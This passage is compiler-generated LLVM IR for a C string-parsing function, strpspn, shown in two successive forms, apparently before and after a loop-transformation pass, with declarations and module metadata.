%146 = add nsw i32 %145, 1
store i32 %146, ptr %17, align 4
br label %147
147: ; preds = %139, %131
br label %148
148: ; preds = %147, %125
br label %149
149: ; preds = %148, %120, %115
br label %150
150: ; preds = %149, %112
%151 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%152 = icmp eq ptr %151, null
br i1 %152, label %153, label %154
153: ; preds = %150
br i1 true, label %161, label %162
154: ; preds = %150
%155 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%156 = load i8, ptr %155, align 16
%157 = sext i8 %156 to i32
%158 = icmp eq i32 %157, 0
br i1 %158, label %159, label %160
159: ; preds = %154
br i1 true, label %161, label %162
160: ; preds = %154
br i1 false, label %161, label %162
161: ; preds = %160, %159, %153
br label %232
162: ; preds = %160, %159, %153
%163 = load ptr, ptr %7, align 8
%164 = load i8, ptr %163, align 1
%165 = sext i8 %164 to i32
%166 = icmp ne i32 %165, 0
br i1 %166, label %167, label %185
167: ; preds = %162
%168 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%169 = icmp eq ptr %168, null
br i1 %169, label %170, label %171
170: ; preds = %167
br i1 true, label %185, label %178
171: ; preds = %167
%172 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%173 = load i8, ptr %172, align 16
%174 = sext i8 %173 to i32
%175 = icmp eq i32 %174, 0
br i1 %175, label %176, label %177
176: ; preds = %171
br i1 true, label %185, label %178
177: ; preds = %171
br i1 false, label %185, label %178
178: ; preds = %177, %176, %170
%179 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%180 = load ptr, ptr %7, align 8
%181 = load i8, ptr %180, align 1
%182 = call ptr @strchr(ptr noundef %179, i8 noundef signext %181)
%183 = icmp ne ptr %182, null
br i1 %183, label %184, label %185
184: ; preds = %178
br label %232
185: ; preds = %178, %177, %176, %170, %162
br label %186
186: ; preds = %185, %109
%187 = load i32, ptr %16, align 4
%188 = icmp ne i32 %187, 0
br i1 %188, label %189, label %196
189: ; preds = %186
%190 = load ptr, ptr %7, align 8
%191 = load i8, ptr %190, align 1
%192 = sext i8 %191 to i32
%193 = icmp eq i32 %192, 92
%194 = zext i1 %193 to i64
%195 = select i1 %193, i32 1, i32 0
store i32 %195, ptr %15, align 4
br label %196
196: ; preds = %189, %186
%197 = load ptr, ptr %6, align 8
%198 = icmp ne ptr %197, null
br i1 %198, label %199, label %224
199: ; preds = %196
%200 = load i32, ptr %17, align 4
%201 = load i32, ptr %14, align 4
%202 = load i32, ptr %13, align 4
%203 = sub nsw i32 %201, %202
%204 = icmp slt i32 %200, %203
br i1 %204, label %205, label %207
205: ; preds = %199
%206 = load i32, ptr %17, align 4
br label %211
207: ; preds = %199
%208 = load i32, ptr %14, align 4
%209 = load i32, ptr %13, align 4
%210 = sub nsw i32 %208, %209
br label %211
211: ; preds = %207, %205
%212 = phi i32 [ %206, %205 ], [ %210, %207 ]
store i32 %212, ptr %18, align 4
%213 = load i32, ptr %18, align 4
%214 = icmp sgt i32 %213, 0
br i1 %214, label %215, label %223
215: ; preds = %211
%216 = load ptr, ptr %6, align 8
%217 = load i32, ptr %13, align 4
%218 = sext i32 %217 to i64
%219 = getelementptr inbounds i8, ptr %216, i64 %218
%220 = load ptr, ptr %7, align 8
%221 = load i32, ptr %18, align 4
%222 = call i32 @memcpy(ptr noundef %219, ptr noundef %220, i32 noundef %221)
br label %223
223: ; preds = %215, %211
br label %224
224: ; preds = %223, %196
%225 = load i32, ptr %17, align 4
%226 = load i32, ptr %13, align 4
%227 = add nsw i32 %226, %225
store i32 %227, ptr %13, align 4
%228 = load i32, ptr %17, align 4
%229 = load ptr, ptr %7, align 8
%230 = sext i32 %228 to i64
%231 = getelementptr inbounds i8, ptr %229, i64 %230
store ptr %231, ptr %7, align 8
br label %74, !llvm.loop !8
232: ; preds = %184, %161, %74
br label %233
233: ; preds = %232, %34
%234 = load ptr, ptr %6, align 8
%235 = icmp ne ptr %234, null
br i1 %235, label %236, label %364
236: ; preds = %233
%237 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%238 = icmp eq ptr %237, null
br i1 %238, label %239, label %240
239: ; preds = %236
br i1 true, label %247, label %275
240: ; preds = %236
%241 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%242 = load i8, ptr %241, align 16
%243 = sext i8 %242 to i32
%244 = icmp eq i32 %243, 0
br i1 %244, label %245, label %246
245: ; preds = %240
br i1 true, label %247, label %275
246: ; preds = %240
br i1 false, label %247, label %275
247: ; preds = %246, %245, %239
%248 = load ptr, ptr %4, align 8
%249 = icmp eq ptr %248, null
br i1 %249, label %250, label %251
250: ; preds = %247
br i1 true, label %275, label %258
251: ; preds = %247
%252 = load ptr, ptr %4, align 8
%253 = load i8, ptr %252, align 1
%254 = sext i8 %253 to i32
%255 = icmp eq i32 %254, 0
br i1 %255, label %256, label %257
256: ; preds = %251
br i1 true, label %275, label %258
257: ; preds = %251
br i1 false, label %275, label %258
258: ; preds = %257, %256, %250
%259 = load ptr, ptr %7, align 8
%260 = load i8, ptr %259, align 1
%261 = load ptr, ptr %6, align 8
%262 = load i32, ptr %13, align 4
%263 = load i32, ptr %14, align 4
%264 = icmp slt i32 %262, %263
br i1 %264, label %265, label %267
265: ; preds = %258
%266 = load i32, ptr %13, align 4
br label %269
267: ; preds = %258
%268 = load i32, ptr %14, align 4
br label %269
269: ; preds = %267, %265
%270 = phi i32 [ %266, %265 ], [ %268, %267 ]
%271 = sext i32 %270 to i64
%272 = getelementptr inbounds i8, ptr %261, i64 %271
store i8 %260, ptr %272, align 1
%273 = load i32, ptr %13, align 4
%274 = add nsw i32 %273, 1
store i32 %274, ptr %13, align 4
br label %275
275: ; preds = %269, %257, %256, %250, %246, %245, %239
%276 = load ptr, ptr %6, align 8
%277 = load i32, ptr %13, align 4
%278 = load i32, ptr %14, align 4
%279 = icmp slt i32 %277, %278
br i1 %279, label %280, label %282
280: ; preds = %275
%281 = load i32, ptr %13, align 4
br label %284
282: ; preds = %275
%283 = load i32, ptr %14, align 4
br label %284
284: ; preds = %282, %280
%285 = phi i32 [ %281, %280 ], [ %283, %282 ]
%286 = sext i32 %285 to i64
%287 = getelementptr inbounds i8, ptr %276, i64 %286
store i8 0, ptr %287, align 1
%288 = load ptr, ptr %6, align 8
%289 = icmp ne ptr %288, null
br i1 %289, label %290, label %362
290: ; preds = %284
%291 = load ptr, ptr %6, align 8
%292 = call i32 @strlen(ptr noundef %291)
store i32 %292, ptr %19, align 4
br label %293
293: ; preds = %319, %290
%294 = load i32, ptr %19, align 4
%295 = add nsw i32 %294, -1
store i32 %295, ptr %19, align 4
%296 = icmp sge i32 %295, 0
br i1 %296, label %297, label %320
297: ; preds = %293
%298 = load ptr, ptr %6, align 8
%299 = load i32, ptr %19, align 4
%300 = sext i32 %299 to i64
%301 = getelementptr inbounds i8, ptr %298, i64 %300
%302 = load i8, ptr %301, align 1
%303 = sext i8 %302 to i32
%304 = icmp ne i32 %303, 0
br i1 %304, label %305, label %318
305: ; preds = %297
%306 = load ptr, ptr %6, align 8
%307 = load i32, ptr %19, align 4
%308 = sext i32 %307 to i64
%309 = getelementptr inbounds i8, ptr %306, i64 %308
%310 = load i8, ptr %309, align 1
%311 = call ptr @strchr(ptr noundef @.str.3, i8 noundef signext %310)
%312 = icmp ne ptr %311, null
br i1 %312, label %313, label %318
313: ; preds = %305
%314 = load ptr, ptr %6, align 8
%315 = load i32, ptr %19, align 4
%316 = sext i32 %315 to i64
%317 = getelementptr inbounds i8, ptr %314, i64 %316
store i8 0, ptr %317, align 1
br label %319
318: ; preds = %305, %297
br label %320
319: ; preds = %313
br label %293, !llvm.loop !9
320: ; preds = %318, %293
%321 = load ptr, ptr %6, align 8
%322 = call i32 @strspn(ptr noundef %321, ptr noundef @.str.3)
store i32 %322, ptr %19, align 4
%323 = icmp sgt i32 %322, 0
br i1 %323, label %324, label %361
324: ; preds = %320
%325 = load i32, ptr %19, align 4
%326 = icmp ne i32 %325, 0
br i1 %326, label %327, label %359
327: ; preds = %324
%328 = load ptr, ptr %6, align 8
%329 = icmp eq ptr %328, null
br i1 %329, label %330, label %331
330: ; preds = %327
br i1 true, label %358, label %338
331: ; preds = %327
%332 = load ptr, ptr %6, align 8
%333 = load i8, ptr %332, align 1
%334 = sext i8 %333 to i32
%335 = icmp eq i32 %334, 0
br i1 %335, label %336, label %337
336: ; preds = %331
br i1 true, label %358, label %338
337: ; preds = %331
br i1 false, label %358, label %338
338: ; preds = %337, %336, %330
%339 = load ptr, ptr %6, align 8
%340 = call i32 @strlen(ptr noundef %339)
store i32 %340, ptr %20, align 4
%341 = load i32, ptr %19, align 4
%342 = load i32, ptr %20, align 4
%343 = icmp sge i32 %341, %342
br i1 %343, label %344, label %346
344: ; preds = %338
%345 = load ptr, ptr %6, align 8
store i8 0, ptr %345, align 1
br label %357
346: ; preds = %338
%347 = load ptr, ptr %6, align 8
%348 = load ptr, ptr %6, align 8
%349 = load i32, ptr %19, align 4
%350 = sext i32 %349 to i64
%351 = getelementptr inbounds i8, ptr %348, i64 %350
%352 = load i32, ptr %20, align 4
%353 = add nsw i32 1, %352
%354 = load i32, ptr %19, align 4
%355 = sub nsw i32 %353, %354
%356 = call i32 @memmove(ptr noundef %347, ptr noundef %351, i32 noundef %355)
br label %357
357: ; preds = %346, %344
br label %358
358: ; preds = %357, %337, %336, %330
br label %360
359: ; preds = %324
br label %360
360: ; preds = %359, %358
br label %361
361: ; preds = %360, %320
br label %363
362: ; preds = %284
br label %363
363: ; preds = %362, %361
br label %364
364: ; preds = %363, %233
%365 = load ptr, ptr %7, align 8
ret ptr %365
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare ptr @strchr(ptr noundef, i8 noundef signext) #2
declare ptr @strqspn(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @strlen(ptr noundef) #2
declare i32 @strspn(ptr noundef, ptr noundef) #2
declare i32 @memmove(ptr noundef, ptr noundef, i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp5_cob5sa.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"\22'\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"([{\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c")]}\00", align 1
@.str.3 = private unnamed_addr constant [7 x i8] c" \09\0A\0D\0C\0B\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @strpspn(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca [256 x i8], align 16
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca i32, align 4
%19 = alloca i32, align 4
%20 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%21 = load ptr, ptr %4, align 8
store ptr %21, ptr %7, align 8
call void @llvm.memset.p0.i64(ptr align 16 %8, i8 0, i64 256, i1 false)
%22 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
store ptr %22, ptr %9, align 8
%23 = load ptr, ptr %5, align 8
store ptr %23, ptr %10, align 8
store i32 0, ptr %11, align 4
store i32 0, ptr %12, align 4
store i32 0, ptr %13, align 4
store i32 2047, ptr %14, align 4
store i32 0, ptr %15, align 4
store i32 1, ptr %16, align 4
%24 = load ptr, ptr %4, align 8
%25 = icmp eq ptr %24, null
br i1 %25, label %26, label %27
26: ; preds = %3
br i1 true, label %34, label %35
27: ; preds = %3
%28 = load ptr, ptr %4, align 8
%29 = load i8, ptr %28, align 1
%30 = sext i8 %29 to i32
%31 = icmp eq i32 %30, 0
br i1 %31, label %32, label %33
32: ; preds = %27
br i1 true, label %34, label %35
33: ; preds = %27
br i1 false, label %34, label %35
34: ; preds = %33, %32, %26
br label %239
35: ; preds = %33, %32, %26
%36 = load ptr, ptr %5, align 8
%37 = icmp eq ptr %36, null
br i1 %37, label %38, label %39
38: ; preds = %35
br i1 true, label %75, label %46
39: ; preds = %35
%40 = load ptr, ptr %5, align 8
%41 = load i8, ptr %40, align 1
%42 = sext i8 %41 to i32
%43 = icmp eq i32 %42, 0
br i1 %43, label %44, label %45
44: ; preds = %39
br i1 true, label %75, label %46
45: ; preds = %39
br i1 false, label %75, label %46
46: ; preds = %45, %44, %38
%47 = load ptr, ptr %10, align 8
%48 = load i8, ptr %47, align 1
%49 = sext i8 %48 to i32
%50 = icmp ne i32 %49, 0
br i1 %50, label %.lr.ph, label %74
.lr.ph: ; preds = %46
br label %51
51: ; preds = %.lr.ph, %67
%52 = load ptr, ptr %10, align 8
%53 = load i8, ptr %52, align 1
%54 = sext i8 %53 to i32
%55 = icmp ne i32 %54, 0
br i1 %55, label %56, label %61
56: ; preds = %51
%57 = load ptr, ptr %10, align 8
%58 = load i8, ptr %57, align 1
%59 = call ptr @strchr(ptr noundef @.str, i8 noundef signext %58)
%60 = icmp ne ptr %59, null
br i1 %60, label %66, label %61
61: ; preds = %56, %51
%62 = load ptr, ptr %10, align 8
%63 = load i8, ptr %62, align 1
%64 = load ptr, ptr %9, align 8
%65 = getelementptr inbounds i8, ptr %64, i32 1
store ptr %65, ptr %9, align 8
store i8 %63, ptr %64, align 1
br label %67
66: ; preds = %56
store i32 1, ptr %11, align 4
br label %67
67: ; preds = %66, %61
%68 = load ptr, ptr %10, align 8
%69 = getelementptr inbounds i8, ptr %68, i32 1
store ptr %69, ptr %10, align 8
%70 = load ptr, ptr %10, align 8
%71 = load i8, ptr %70, align 1
%72 = sext i8 %71 to i32
%73 = icmp ne i32 %72, 0
br i1 %73, label %51, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %67
br label %74
74: ; preds = %._crit_edge, %46
br label %75
75: ; preds = %74, %45, %44, %38
%76 = load ptr, ptr %9, align 8
store i8 0, ptr %76, align 1
%77 = load ptr, ptr %7, align 8
%78 = load i8, ptr %77, align 1
%79 = sext i8 %78 to i32
%80 = icmp ne i32 %79, 0
br i1 %80, label %.lr.ph3, label %.loopexit1
.lr.ph3: ; preds = %75
br label %81
81: ; preds = %.lr.ph3, %226
store i32 1, ptr %17, align 4
%82 = load i32, ptr %15, align 4
%83 = icmp ne i32 %82, 0
br i1 %83, label %111, label %84
84: ; preds = %81
%85 = load ptr, ptr %7, align 8
%86 = load i8, ptr %85, align 1
%87 = sext i8 %86 to i32
%88 = icmp ne i32 %87, 0
br i1 %88, label %89, label %97
89: ; preds = %84
%90 = load ptr, ptr %7, align 8
%91 = load i8, ptr %90, align 1
%92 = call ptr @strchr(ptr noundef @.str.1, i8 noundef signext %91)
%93 = icmp ne ptr %92, null
br i1 %93, label %94, label %97
94: ; preds = %89
%95 = load i32, ptr %12, align 4
%96 = add nsw i32 %95, 1
store i32 %96, ptr %12, align 4
br label %97
97: ; preds = %94, %89, %84
%98 = load ptr, ptr %7, align 8
%99 = load i8, ptr %98, align 1
%100 = sext i8 %99 to i32
%101 = icmp ne i32 %100, 0
br i1 %101, label %102, label %110
102: ; preds = %97
%103 = load ptr, ptr %7, align 8
%104 = load i8, ptr %103, align 1
%105 = call ptr @strchr(ptr noundef @.str.2, i8 noundef signext %104)
%106 = icmp ne ptr %105, null
br i1 %106, label %107, label %110
107: ; preds = %102
%108 = load i32, ptr %12, align 4
%109 = add nsw i32 %108, -1
store i32 %109, ptr %12, align 4
br label %110
110: ; preds = %107, %102, %97
br label %111
111: ; preds = %110, %81
%112 = load i32, ptr %12, align 4
%113 = icmp slt i32 %112, 1
br i1 %113, label %114, label %188
114: ; preds = %111
%115 = load i32, ptr %11, align 4
%116 = icmp ne i32 %115, 0
br i1 %116, label %117, label %152
117: ; preds = %114
%118 = load ptr, ptr %7, align 8
%119 = load i8, ptr %118, align 1
%120 = sext i8 %119 to i32
%121 = icmp ne i32 %120, 0
br i1 %121, label %122, label %151
122: ; preds = %117
%123 = load ptr, ptr %7, align 8
%124 = load i8, ptr %123, align 1
%125 = call ptr @strchr(ptr noundef @.str, i8 noundef signext %124)
%126 = icmp ne ptr %125, null
br i1 %126, label %127, label %151
127: ; preds = %122
%128 = load ptr, ptr %7, align 8
%129 = call ptr @strqspn(ptr noundef %128, ptr noundef null, i32 noundef 0)
store ptr %129, ptr %9, align 8
%130 = load ptr, ptr %9, align 8
%131 = load ptr, ptr %7, align 8
%132 = icmp ne ptr %130, %131
br i1 %132, label %133, label %150
133: ; preds = %127
%134 = load ptr, ptr %9, align 8
%135 = load i8, ptr %134, align 1
%136 = sext i8 %135 to i32
%137 = load ptr, ptr %7, align 8
%138 = load i8, ptr %137, align 1
%139 = sext i8 %138 to i32
%140 = icmp eq i32 %136, %139
br i1 %140, label %141, label %149
141: ; preds = %133
%142 = load ptr, ptr %9, align 8
%143 = load ptr, ptr %7, align 8
%144 = ptrtoint ptr %142 to i64
%145 = ptrtoint ptr %143 to i64
%146 = sub i64 %144, %145
%147 = trunc i64 %146 to i32
%148 = add nsw i32 %147, 1
store i32 %148, ptr %17, align 4
br label %149
149: ; preds = %141, %133
br label %150
150: ; preds = %149, %127
br label %151
151: ; preds = %150, %122, %117
br label %152
152: ; preds = %151, %114
%153 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%154 = icmp eq ptr %153, null
br i1 %154, label %155, label %156
155: ; preds = %152
br i1 true, label %163, label %164
156: ; preds = %152
%157 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%158 = load i8, ptr %157, align 16
%159 = sext i8 %158 to i32
%160 = icmp eq i32 %159, 0
br i1 %160, label %161, label %162
161: ; preds = %156
br i1 true, label %163, label %164
162: ; preds = %156
br i1 false, label %163, label %164
163: ; preds = %162, %161, %155
br label %238
164: ; preds = %162, %161, %155
%165 = load ptr, ptr %7, align 8
%166 = load i8, ptr %165, align 1
%167 = sext i8 %166 to i32
%168 = icmp ne i32 %167, 0
br i1 %168, label %169, label %187
169: ; preds = %164
%170 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%171 = icmp eq ptr %170, null
br i1 %171, label %172, label %173
172: ; preds = %169
br i1 true, label %187, label %180
173: ; preds = %169
%174 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%175 = load i8, ptr %174, align 16
%176 = sext i8 %175 to i32
%177 = icmp eq i32 %176, 0
br i1 %177, label %178, label %179
178: ; preds = %173
br i1 true, label %187, label %180
179: ; preds = %173
br i1 false, label %187, label %180
180: ; preds = %179, %178, %172
%181 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%182 = load ptr, ptr %7, align 8
%183 = load i8, ptr %182, align 1
%184 = call ptr @strchr(ptr noundef %181, i8 noundef signext %183)
%185 = icmp ne ptr %184, null
br i1 %185, label %186, label %187
186: ; preds = %180
br label %238
187: ; preds = %180, %179, %178, %172, %164
br label %188
188: ; preds = %187, %111
%189 = load i32, ptr %16, align 4
%190 = icmp ne i32 %189, 0
br i1 %190, label %191, label %198
191: ; preds = %188
%192 = load ptr, ptr %7, align 8
%193 = load i8, ptr %192, align 1
%194 = sext i8 %193 to i32
%195 = icmp eq i32 %194, 92
%196 = zext i1 %195 to i64
%197 = select i1 %195, i32 1, i32 0
store i32 %197, ptr %15, align 4
br label %198
198: ; preds = %191, %188
%199 = load ptr, ptr %6, align 8
%200 = icmp ne ptr %199, null
br i1 %200, label %201, label %226
201: ; preds = %198
%202 = load i32, ptr %17, align 4
%203 = load i32, ptr %14, align 4
%204 = load i32, ptr %13, align 4
%205 = sub nsw i32 %203, %204
%206 = icmp slt i32 %202, %205
br i1 %206, label %207, label %209
207: ; preds = %201
%208 = load i32, ptr %17, align 4
br label %213
209: ; preds = %201
%210 = load i32, ptr %14, align 4
%211 = load i32, ptr %13, align 4
%212 = sub nsw i32 %210, %211
br label %213
213: ; preds = %209, %207
%214 = phi i32 [ %208, %207 ], [ %212, %209 ]
store i32 %214, ptr %18, align 4
%215 = load i32, ptr %18, align 4
%216 = icmp sgt i32 %215, 0
br i1 %216, label %217, label %225
217: ; preds = %213
%218 = load ptr, ptr %6, align 8
%219 = load i32, ptr %13, align 4
%220 = sext i32 %219 to i64
%221 = getelementptr inbounds i8, ptr %218, i64 %220
%222 = load ptr, ptr %7, align 8
%223 = load i32, ptr %18, align 4
%224 = call i32 @memcpy(ptr noundef %221, ptr noundef %222, i32 noundef %223)
br label %225
225: ; preds = %217, %213
br label %226
226: ; preds = %225, %198
%227 = load i32, ptr %17, align 4
%228 = load i32, ptr %13, align 4
%229 = add nsw i32 %228, %227
store i32 %229, ptr %13, align 4
%230 = load i32, ptr %17, align 4
%231 = load ptr, ptr %7, align 8
%232 = sext i32 %230 to i64
%233 = getelementptr inbounds i8, ptr %231, i64 %232
store ptr %233, ptr %7, align 8
%234 = load ptr, ptr %7, align 8
%235 = load i8, ptr %234, align 1
%236 = sext i8 %235 to i32
%237 = icmp ne i32 %236, 0
br i1 %237, label %81, label %..loopexit1_crit_edge, !llvm.loop !8
..loopexit1_crit_edge: ; preds = %226
br label %.loopexit1
.loopexit1: ; preds = %..loopexit1_crit_edge, %75
br label %238
238: ; preds = %.loopexit1, %186, %163
br label %239
239: ; preds = %238, %34
%240 = load ptr, ptr %6, align 8
%241 = icmp ne ptr %240, null
br i1 %241, label %242, label %372
242: ; preds = %239
%243 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%244 = icmp eq ptr %243, null
br i1 %244, label %245, label %246
245: ; preds = %242
br i1 true, label %253, label %281
246: ; preds = %242
%247 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
%248 = load i8, ptr %247, align 16
%249 = sext i8 %248 to i32
%250 = icmp eq i32 %249, 0
br i1 %250, label %251, label %252
251: ; preds = %246
br i1 true, label %253, label %281
252: ; preds = %246
br i1 false, label %253, label %281
253: ; preds = %252, %251, %245
%254 = load ptr, ptr %4, align 8
%255 = icmp eq ptr %254, null
br i1 %255, label %256, label %257
256: ; preds = %253
br i1 true, label %281, label %264
257: ; preds = %253
%258 = load ptr, ptr %4, align 8
%259 = load i8, ptr %258, align 1
%260 = sext i8 %259 to i32
%261 = icmp eq i32 %260, 0
br i1 %261, label %262, label %263
262: ; preds = %257
br i1 true, label %281, label %264
263: ; preds = %257
br i1 false, label %281, label %264
264: ; preds = %263, %262, %256
%265 = load ptr, ptr %7, align 8
%266 = load i8, ptr %265, align 1
%267 = load ptr, ptr %6, align 8
%268 = load i32, ptr %13, align 4
%269 = load i32, ptr %14, align 4
%270 = icmp slt i32 %268, %269
br i1 %270, label %271, label %273
271: ; preds = %264
%272 = load i32, ptr %13, align 4
br label %275
273: ; preds = %264
%274 = load i32, ptr %14, align 4
br label %275
275: ; preds = %273, %271
%276 = phi i32 [ %272, %271 ], [ %274, %273 ]
%277 = sext i32 %276 to i64
%278 = getelementptr inbounds i8, ptr %267, i64 %277
store i8 %266, ptr %278, align 1
%279 = load i32, ptr %13, align 4
%280 = add nsw i32 %279, 1
store i32 %280, ptr %13, align 4
br label %281
281: ; preds = %275, %263, %262, %256, %252, %251, %245
%282 = load ptr, ptr %6, align 8
%283 = load i32, ptr %13, align 4
%284 = load i32, ptr %14, align 4
%285 = icmp slt i32 %283, %284
br i1 %285, label %286, label %288
286: ; preds = %281
%287 = load i32, ptr %13, align 4
br label %290
288: ; preds = %281
%289 = load i32, ptr %14, align 4
br label %290
290: ; preds = %288, %286
%291 = phi i32 [ %287, %286 ], [ %289, %288 ]
%292 = sext i32 %291 to i64
%293 = getelementptr inbounds i8, ptr %282, i64 %292
store i8 0, ptr %293, align 1
%294 = load ptr, ptr %6, align 8
%295 = icmp ne ptr %294, null
br i1 %295, label %296, label %370
296: ; preds = %290
%297 = load ptr, ptr %6, align 8
%298 = call i32 @strlen(ptr noundef %297)
store i32 %298, ptr %19, align 4
%299 = load i32, ptr %19, align 4
%300 = add nsw i32 %299, -1
store i32 %300, ptr %19, align 4
%301 = icmp sge i32 %300, 0
br i1 %301, label %.lr.ph5, label %.loopexit
.lr.ph5: ; preds = %296
br label %302
302: ; preds = %.lr.ph5, %324
%303 = load ptr, ptr %6, align 8
%304 = load i32, ptr %19, align 4
%305 = sext i32 %304 to i64
%306 = getelementptr inbounds i8, ptr %303, i64 %305
%307 = load i8, ptr %306, align 1
%308 = sext i8 %307 to i32
%309 = icmp ne i32 %308, 0
br i1 %309, label %310, label %323
310: ; preds = %302
%311 = load ptr, ptr %6, align 8
%312 = load i32, ptr %19, align 4
%313 = sext i32 %312 to i64
%314 = getelementptr inbounds i8, ptr %311, i64 %313
%315 = load i8, ptr %314, align 1
%316 = call ptr @strchr(ptr noundef @.str.3, i8 noundef signext %315)
%317 = icmp ne ptr %316, null
br i1 %317, label %318, label %323
318: ; preds = %310
%319 = load ptr, ptr %6, align 8
%320 = load i32, ptr %19, align 4
%321 = sext i32 %320 to i64
%322 = getelementptr inbounds i8, ptr %319, i64 %321
store i8 0, ptr %322, align 1
br label %324
323: ; preds = %310, %302
br label %328
324: ; preds = %318
%325 = load i32, ptr %19, align 4
%326 = add nsw i32 %325, -1
store i32 %326, ptr %19, align 4
%327 = icmp sge i32 %326, 0
br i1 %327, label %302, label %..loopexit_crit_edge, !llvm.loop !9
..loopexit_crit_edge: ; preds = %324
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %296
br label %328
328: ; preds = %.loopexit, %323
%329 = load ptr, ptr %6, align 8
%330 = call i32 @strspn(ptr noundef %329, ptr noundef @.str.3)
store i32 %330, ptr %19, align 4
%331 = icmp sgt i32 %330, 0
br i1 %331, label %332, label %369
332: ; preds = %328
%333 = load i32, ptr %19, align 4
%334 = icmp ne i32 %333, 0
br i1 %334, label %335, label %367
335: ; preds = %332
%336 = load ptr, ptr %6, align 8
%337 = icmp eq ptr %336, null
br i1 %337, label %338, label %339
338: ; preds = %335
br i1 true, label %366, label %346
339: ; preds = %335
%340 = load ptr, ptr %6, align 8
%341 = load i8, ptr %340, align 1
%342 = sext i8 %341 to i32
%343 = icmp eq i32 %342, 0
br i1 %343, label %344, label %345
344: ; preds = %339
br i1 true, label %366, label %346
345: ; preds = %339
br i1 false, label %366, label %346
346: ; preds = %345, %344, %338
%347 = load ptr, ptr %6, align 8
%348 = call i32 @strlen(ptr noundef %347)
store i32 %348, ptr %20, align 4
%349 = load i32, ptr %19, align 4
%350 = load i32, ptr %20, align 4
%351 = icmp sge i32 %349, %350
br i1 %351, label %352, label %354
352: ; preds = %346
%353 = load ptr, ptr %6, align 8
store i8 0, ptr %353, align 1
br label %365
354: ; preds = %346
%355 = load ptr, ptr %6, align 8
%356 = load ptr, ptr %6, align 8
%357 = load i32, ptr %19, align 4
%358 = sext i32 %357 to i64
%359 = getelementptr inbounds i8, ptr %356, i64 %358
%360 = load i32, ptr %20, align 4
%361 = add nsw i32 1, %360
%362 = load i32, ptr %19, align 4
%363 = sub nsw i32 %361, %362
%364 = call i32 @memmove(ptr noundef %355, ptr noundef %359, i32 noundef %363)
br label %365
365: ; preds = %354, %352
br label %366
366: ; preds = %365, %345, %344, %338
br label %368
367: ; preds = %332
br label %368
368: ; preds = %367, %366
br label %369
369: ; preds = %368, %328
br label %371
370: ; preds = %290
br label %371
371: ; preds = %370, %369
br label %372
372: ; preds = %371, %239
%373 = load ptr, ptr %7, align 8
ret ptr %373
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
declare ptr @strchr(ptr noundef, i8 noundef signext) #2
declare ptr @strqspn(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @strlen(ptr noundef) #2
declare i32 @strspn(ptr noundef, ptr noundef) #2
declare i32 @memmove(ptr noundef, ptr noundef, i32 noundef) #2
